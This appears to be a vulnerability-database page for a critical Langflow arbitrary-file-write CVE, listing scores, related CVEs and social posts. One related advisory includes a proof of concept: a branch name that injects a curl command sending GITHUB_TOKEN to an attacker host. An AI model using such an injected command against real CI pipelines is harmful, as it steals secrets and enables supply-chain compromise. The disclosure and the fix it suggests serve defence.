CVE-2026-33309

Published Mar 24, 2026

Last updated a day ago

CVSS critical 9.9

Overview

Description
Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.
Source
security-advisories@github.com
NVD status
Analyzed
Products
langflow

Risk scores

CVSS 3.1

Type
Secondary
Base score
9.9
Impact score
6
Exploitability score
3.1
Vector string
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Severity
CRITICAL

Weaknesses

security-advisories@github.com
CWE-22

Social media

Hype score
Not currently trending

  1. 🚨 CVE-2026-33309 (CVSS: 9.9) Langflow 1.2.0-1.8.1では、CVE-2025-68478のパッチ回避によりLocalStorageServiceのアーキテクチャ的問題が未解決。HTTPレイヤーのValidatedFileNameに依存し、POST

    @maru1151157

    26 Mar 2026

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  2. CVE-2026-33309 Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Co… https://t.co/IeyT4iCW2n

    @CVEnew

    24 Mar 2026

    109 Impressions

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Configurations

Related CVEs

  1. Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.1, in the download_profile_picture function of the /profile_pictures/{folder_name}/{file_name} endpoint, the folder_name and file_name parameters are not strictly filtered, which allows the secret_key to be read across directories. Version 1.7.1 contains a patch.•CVE-2026-33497
  2. Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch.•CVE-2026-33484
  3. Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`•CVE-2026-33475
  4. Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the delete_api_key_route() endpoint accepts an api_key_id path parameter and deletes it with only a generic authentication check (get_current_active_user dependency). However, the delete_api_key() CRUD function does NOT verify that the API key belongs to the current user before deletion.•CVE-2026-33053
  5. Langflow Code Injection Vulnerability•CVE-2026-33017

References

Sources include official advisories and independent security research.